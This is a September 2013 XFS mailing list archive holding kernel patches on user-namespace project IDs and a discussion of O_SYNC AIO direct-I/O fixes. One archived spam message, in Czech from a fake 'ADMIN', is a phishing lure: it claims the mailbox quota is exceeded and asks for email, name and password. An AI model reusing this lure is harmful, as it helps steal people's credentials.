kprojid); +} + /* * Various platform dependent calls that don't fit anywhere else */ -- 1.8.3.1 From gaofeng@cn.fujitsu.com Wed Sep 4 01:37:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 246607F52 for ; Wed, 4 Sep 2013 01:37:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DF8E68F8040 for ; Tue, 3 Sep 2013 23:37:26 -0700 (PDT) X-ASG-Debug-ID: 1378276645-04bdf02f22d5a740001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id 0rfoIuVTNKpGKadA for ; Tue, 03 Sep 2013 23:37:25 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,1019,1367942400"; d="scan'208";a="8403809" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 04 Sep 2013 14:34:09 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r846bEwL027933; Wed, 4 Sep 2013 14:37:16 +0800 Received: from Donkey.fnst.cn.fujitsu.com ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013090414350695-1208868 ; Wed, 4 Sep 2013 14:35:06 +0800 From: Gao feng To: xfs@oss.sgi.com Cc: dwight.engen@oracle.com, david@fromorbit.com, bfoster@redhat.com, ebiederm@xmission.com, Gao feng Subject: [PATCH 2/4] userns: ioctl: convert project id between user and kernel space Date: Wed, 4 Sep 2013 14:38:35 +0800 X-ASG-Orig-Subj: [PATCH 2/4] userns: ioctl: convert project id between user and kernel space Message-Id: <1378276717-9663-3-git-send-email-gaofeng@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 In-Reply-To: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> References: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:06, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:08, Serialize complete at 2013/09/04 14:35:08 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1378276645 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140286 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- User namespace use /proc//projid_map to map the project ids in user namespace to the global project ids. This patch adds the conversion of xfs proj_t to the global project id struct kprojid_t, and adds the validating check. User in un-init user namespace can only change file's project id to the specified ids which are configured in projid_map of userns. Signed-off-by: Gao feng --- fs/xfs/xfs_ioctl.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index bdebc21..8db622f 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -855,7 +855,7 @@ xfs_ioc_fsgetxattr( xfs_ilock(ip, XFS_ILOCK_SHARED); fa.fsx_xflags = xfs_ip2xflags(ip); fa.fsx_extsize = ip->i_d.di_extsize << ip->i_mount->m_sb.sb_blocklog; - fa.fsx_projid = xfs_get_projid(ip); + fa.fsx_projid = xfs_convert_to_user_projid(xfs_get_projid(ip)); if (attr) { if (ip->i_afp) { @@ -965,6 +965,7 @@ xfs_ioctl_setattr( struct xfs_dquot *pdqp = NULL; struct xfs_dquot *olddquot = NULL; int code; + prid_t projid = 0; trace_xfs_ioctl_setattr(ip); @@ -976,9 +977,12 @@ xfs_ioctl_setattr( /* * Disallow 32bit project ids when projid32bit feature is not enabled. */ - if ((mask & FSX_PROJID) && (fa->fsx_projid > (__uint16_t)-1) && - !xfs_sb_version_hasprojid32bit(&ip->i_mount->m_sb)) - return XFS_ERROR(EINVAL); + if ((mask & FSX_PROJID)) { + if ((xfs_convert_to_kernel_projid(fa->fsx_projid, &projid) < 0) || + ((projid > (__uint16_t)-1) && + !xfs_sb_version_hasprojid32bit(&ip->i_mount->m_sb))) + return XFS_ERROR(EINVAL); + } /* * If disk quotas is on, we make sure that the dquots do exist on disk, @@ -990,7 +994,7 @@ xfs_ioctl_setattr( */ if (XFS_IS_QUOTA_ON(mp) && (mask & FSX_PROJID)) { code = xfs_qm_vop_dqalloc(ip, ip->i_d.di_uid, - ip->i_d.di_gid, fa->fsx_projid, + ip->i_d.di_gid, projid, XFS_QMOPT_PQUOTA, &udqp, NULL, &pdqp); if (code) return code; @@ -1033,7 +1037,7 @@ xfs_ioctl_setattr( if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_PQUOTA_ON(mp) && - xfs_get_projid(ip) != fa->fsx_projid) { + xfs_get_projid(ip) != projid) { ASSERT(tp); code = xfs_qm_vop_chown_reserve(tp, ip, udqp, NULL, pdqp, capable(CAP_FOWNER) ? @@ -1151,12 +1155,12 @@ xfs_ioctl_setattr( * Change the ownerships and register quota modifications * in the transaction. */ - if (xfs_get_projid(ip) != fa->fsx_projid) { + if (xfs_get_projid(ip) != projid) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_PQUOTA_ON(mp)) { olddquot = xfs_qm_vop_chown(tp, ip, &ip->i_pdquot, pdqp); } - xfs_set_projid(ip, fa->fsx_projid); + xfs_set_projid(ip, projid); /* * We may have to rev the inode as well as -- 1.8.3.1 From gaofeng@cn.fujitsu.com Wed Sep 4 01:37:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EE59F7F52 for ; Wed, 4 Sep 2013 01:37:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8B586AC001 for ; Tue, 3 Sep 2013 23:37:27 -0700 (PDT) X-ASG-Debug-ID: 1378276645-04bdf02f22d5a740002-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id 5XHcEfzVKive4CI4 for ; Tue, 03 Sep 2013 23:37:26 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,1019,1367942400"; d="scan'208";a="8403811" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 04 Sep 2013 14:34:10 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r846bFfk027934; Wed, 4 Sep 2013 14:37:16 +0800 Received: from Donkey.fnst.cn.fujitsu.com ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013090414350698-1208870 ; Wed, 4 Sep 2013 14:35:06 +0800 From: Gao feng To: xfs@oss.sgi.com Cc: dwight.engen@oracle.com, david@fromorbit.com, bfoster@redhat.com, ebiederm@xmission.com, Gao feng Subject: [PATCH 4/4] userns: eofblocks: convert project id from user to kernel space Date: Wed, 4 Sep 2013 14:38:37 +0800 X-ASG-Orig-Subj: [PATCH 4/4] userns: eofblocks: convert project id from user to kernel space Message-Id: <1378276717-9663-5-git-send-email-gaofeng@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 In-Reply-To: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> References: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:06, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:09, Serialize complete at 2013/09/04 14:35:09 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1378276646 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140286 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Convert project id from user to kernel space in xfs_fs_eofblocks_from_user. Signed-off-by: Gao feng --- fs/xfs/xfs_icache.h | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h index 8a89f7d..aeedfc8 100644 --- a/fs/xfs/xfs_icache.h +++ b/fs/xfs/xfs_icache.h @@ -80,7 +80,6 @@ xfs_fs_eofblocks_from_user( return EINVAL; dst->eof_flags = src->eof_flags; - dst->eof_prid = src->eof_prid; dst->eof_min_file_size = src->eof_min_file_size; dst->eof_uid = INVALID_UID; @@ -96,6 +95,14 @@ xfs_fs_eofblocks_from_user( if (!gid_valid(dst->eof_gid)) return EINVAL; } + + dst->eof_prid = src->eof_prid; + if (src->eof_flags & XFS_EOF_FLAGS_PRID) { + if (xfs_convert_to_kernel_projid(src->eof_prid, + &dst->eof_prid) < 0) + return EINVAL; + } + return 0; } -- 1.8.3.1 From gaofeng@cn.fujitsu.com Wed Sep 4 01:37:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 449D47F53 for ; Wed, 4 Sep 2013 01:37:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 327BB8F8040 for ; Tue, 3 Sep 2013 23:37:27 -0700 (PDT) X-ASG-Debug-ID: 1378276636-04cb6c2e9cd35e60003-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id mfCS0LAJsve9rr3q for ; Tue, 03 Sep 2013 23:37:26 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,1019,1367942400"; d="scan'208";a="8403810" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 04 Sep 2013 14:34:09 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r846bFfj027934; Wed, 4 Sep 2013 14:37:16 +0800 Received: from Donkey.fnst.cn.fujitsu.com ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013090414350696-1208869 ; Wed, 4 Sep 2013 14:35:06 +0800 From: Gao feng To: xfs@oss.sgi.com Cc: dwight.engen@oracle.com, david@fromorbit.com, bfoster@redhat.com, ebiederm@xmission.com, Gao feng Subject: [PATCH 3/4] xfs: allow un-init user namespace to change file's project id Date: Wed, 4 Sep 2013 14:38:36 +0800 X-ASG-Orig-Subj: [PATCH 3/4] xfs: allow un-init user namespace to change file's project id Message-Id: <1378276717-9663-4-git-send-email-gaofeng@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 In-Reply-To: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> References: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:06, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:08, Serialize complete at 2013/09/04 14:35:08 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1378276645 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140286 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We already make sure un-init user namespace can only change project id to the ids we allowd. changing project id of files in un-init user namespace is under control. it's safe to allow un-init user namespace to change files' project id. Signed-off-by: Gao feng --- fs/xfs/xfs_ioctl.c | 6 ------ 1 file changed, 6 deletions(-) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 8db622f..b4e1741 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1026,14 +1026,8 @@ xfs_ioctl_setattr( /* * Do a quota reservation only if projid is actually going to change. - * Only allow changing of projid from init_user_ns since it is a - * non user namespace aware identifier. */ if (mask & FSX_PROJID) { - if (current_user_ns() != &init_user_ns) { - code = XFS_ERROR(EINVAL); - goto error_return; - } if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_PQUOTA_ON(mp) && -- 1.8.3.1 From gaofeng@cn.fujitsu.com Wed Sep 4 01:37:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8177929E03 for ; Wed, 4 Sep 2013 01:37:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 467DE8F8040 for ; Tue, 3 Sep 2013 23:37:25 -0700 (PDT) X-ASG-Debug-ID: 1378276636-04cb6c2e9cd35e60001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id XrDGoLlPUx41jwky for ; Tue, 03 Sep 2013 23:37:20 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,1019,1367942400"; d="scan'208";a="8403807" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 04 Sep 2013 14:34:08 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r846bEwK027933; Wed, 4 Sep 2013 14:37:15 +0800 Received: from Donkey.fnst.cn.fujitsu.com ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013090414350673-1208866 ; Wed, 4 Sep 2013 14:35:06 +0800 From: Gao feng To: xfs@oss.sgi.com Cc: dwight.engen@oracle.com, david@fromorbit.com, bfoster@redhat.com, ebiederm@xmission.com, Gao feng Subject: [PATCH 0/4] xfs: Allow user to change project id in un-init userns Date: Wed, 4 Sep 2013 14:38:33 +0800 X-ASG-Orig-Subj: [PATCH 0/4] xfs: Allow user to change project id in un-init userns Message-Id: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:06, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:07, Serialize complete at 2013/09/04 14:35:07 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1378276640 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140286 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This patchset add two helper functions to convert user space project id to kernel space project id without any struct changed. Since the projid_map of user namespace has limit the range of valid project ids for user namespace, we can safely allow user to change file's project id in un-init user namespace. Gao feng (4): xfs: add helper function to convert project id between user and kernel space userns: ioctl: convert project id between user and kernel space xfs: allow un-init user namespace to change file's project id userns: eofblocks: convert project id from user to kernel space fs/xfs/xfs_icache.h | 9 ++++++++- fs/xfs/xfs_ioctl.c | 26 ++++++++++++-------------- fs/xfs/xfs_linux.h | 19 +++++++++++++++++++ 3 files changed, 39 insertions(+), 15 deletions(-) -- 1.8.3.1 From losabetos@elbolson.com Wed Sep 4 04:38:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B84C77F52 for ; Wed, 4 Sep 2013 04:38:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9ED83304051 for ; Wed, 4 Sep 2013 02:38:31 -0700 (PDT) X-ASG-Debug-ID: 1378287509-04cb6c2e9fd3b6a0001-NocioJ Received: from linceo.svtcloud.com (linceo.cpd02svt.net [95.130.52.175]) by cuda.sgi.com with ESMTP id G74uDe3jZGXXA3TA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 04 Sep 2013 02:38:30 -0700 (PDT) X-Barracuda-Envelope-From: losabetos@elbolson.com X-Barracuda-Apparent-Source-IP: 95.130.52.175 X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network Received: from [10.187.20.69] (unknown [41.203.69.3]) by linceo.svtcloud.com (Postfix) with ESMTPSA id 7696724A99D; Wed, 4 Sep 2013 09:28:05 +0200 (CEST) Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: =?utf-8?b?c3Byw6F2Y2Ugc3lzdMOpbXU=?= To: Recipients X-ASG-Orig-Subj: =?utf-8?b?c3Byw6F2Y2Ugc3lzdMOpbXU=?= From: "ADMIN" Date: Wed, 04 Sep 2013 08:28:08 +0100 Reply-To: 647812717@qq.com X-Barracuda-Connect: linceo.cpd02svt.net[95.130.52.175] X-Barracuda-Start-Time: 1378287510 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.14 X-Barracuda-Spam-Status: No, SCORE=2.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0141, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140298 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 2.00 BSF_SC0_MV0141 Custom rule MV0141 Message-Id: <20130904093831.4D08F1296184@cuda.sgi.com> V=C3=A1=C5=BEen=C3=BD u=C5=BEivateli V=C3=A1=C5=A1 e-mail pres=C3=A1hl 2GB, kter=C3=BD je vytvoren Webmaster, nyn=C3=AD na 2,30 gigabajt, mu=C5=BEete Odes=C3=ADlat nebo prij=C3=ADmat nov=C3=A9 zpr=C3=A1vy, dokud si zkontroluj= te svuj =C3=BAcet. Vyplnte formul=C3=A1r pro overen=C3=AD =C3=BActu. Vyplnte formul=C3=A1r pro potvrzen=C3=AD (1) E-mail: (2) N=C3=A1zev: (3) Heslo: (4) Potvrdit heslo: dekuji spr=C3=A1vce syst=C3=A9mu From jack@suse.cz Wed Sep 4 05:55:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0384F7F52 for ; Wed, 4 Sep 2013 05:55:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E39B6304039 for ; Wed, 4 Sep 2013 03:54:56 -0700 (PDT) X-ASG-Debug-ID: 1378292095-04cb6c153dd38d50001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id befizTI7AWhUO4sV for ; Wed, 04 Sep 2013 03:54:55 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id E176EA50E4; Wed, 4 Sep 2013 12:54:52 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id A92A480E0A; Wed, 4 Sep 2013 12:54:50 +0200 (CEST) Date: Wed, 4 Sep 2013 12:54:50 +0200 From: Jan Kara To: Al Viro Cc: Jan Kara , linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, Christoph Hellwig Subject: Re: [PATCH 0/2 v2] Fix O_SYNC AIO DIO Message-ID: <20130904105450.GB3996@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 0/2 v2] Fix O_SYNC AIO DIO References: <1376471456-11966-1-git-send-email-jack@suse.cz> <20130830155301.GB13318@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130830155301.GB13318@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378292095 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140304 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri 30-08-13 16:53:01, Al Viro wrote: > On Wed, Aug 14, 2013 at 11:10:54AM +0200, Jan Kara wrote: > > Hello, > > > > this is second iteration of patches to fix handling of O_SYNC AIO DIO. > > Since previous version I've addressed Dave's comments: > > - slightly expanded changelog of the first patch > > - workqueue is now created with parameters allowing paralelism > > - workqueue name contains sb->s_id > > - workqueue is created on demand (I decided to do this to reduce the overhead > > in unnecessary cases) > > > > The patchset survives xfstests run for ext4 & xfs so it should be sane. Since > > this touches several filesystems (although only ext4 & xfs are non-trivial), > > the question is who should carry these patches. Maybe Al? But since xfs and > > ext4 changes are non-trivial, I'd like to have a review from their > > developers... > > Looks sane, except that I'd probably put destroying the queue after > evict_inodes(), next to ->put_super() call. OK, I've changed that. I'll send v3 in a moment. > Said that, there's another interesting problem in the code affected by that > sucker: generic_file_aio_write() might very well sync the wrong range. > Consider O_APPEND case; __generic_file_aio_write() will call > generic_write_checks(), which will update its copy of pos, and proceed to > write starting from there. All right and proper, but then we return into > generic_file_aio_write() and sync the range of the right length, starting > at the *original* value of pos... Yes, that looks like a bug. I was looking into how we could fix that and the easiest seems to be to move generic_segment_checks() and generic_write_checks() from __generic_file_aio_write() to generic_file_aio_write(). There are only three callers of __generic_file_aio_write(). cifs_writev() which can and should use generic_file_aio_write() anyway, ext4_file_dio_write() which could use generic_file_aio_write() if we cleaned up the code and moved it around a bit, and blkdev_aio_write() which really needs to call __generic_file_aio_write() (it doesn't want to grab i_mutex). So that last caller would need to do the moved checks manually. But this all seems a bit complex so I'd prefer to do it as a separate series. Honza -- Jan Kara SUSE Labs, CR From jack@suse.cz Wed Sep 4 08:04:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 782367F52 for ; Wed, 4 Sep 2013 08:04:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 657FB304048 for ; Wed, 4 Sep 2013 06:04:49 -0700 (PDT) X-ASG-Debug-ID: 1378299888-04cbb02c3bd368b0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 9auNrGCD4mV8OtR1 for ; Wed, 04 Sep 2013 06:04:48 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id AF23CA52D7; Wed, 4 Sep 2013 15:04:45 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id CA64680E1B; Wed, 4 Sep 2013 15:04:43 +0200 (CEST) From: Jan Kara To: Al Viro Cc: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, Christoph Hellwig , dchinner@redhat.com, Jan Kara Subject: [PATCH 0/2 v3] Fix O_SYNC AIO DIO Date: Wed, 4 Sep 2013 15:04:38 +0200 X-ASG-Orig-Subj: [PATCH 0/2 v3] Fix O_SYNC AIO DIO Message-Id: <1378299880-11103-1-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378299888 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140312 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello, this is the third iteration of patches to fix handling of O_SYNC AIO DIO. Changes since v2: - moved call for destruction of workqueue closer to put_super Changes since v1: - slightly expanded changelog of the first patch - workqueue is now created with parameters allowing paralelism - workqueue name contains sb->s_id - workqueue is created on demand (I decided to do this to reduce the overhead in unnecessary cases) The patchset survives xfstests run for ext4 & xfs so it should be sane. Al, please merge the patches (but I'd also appreciate if Dave or some other XFS developers gave their ack to the patches since XFS changes are non-trivial). Honza From jack@suse.cz Wed Sep 4 08:04:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: 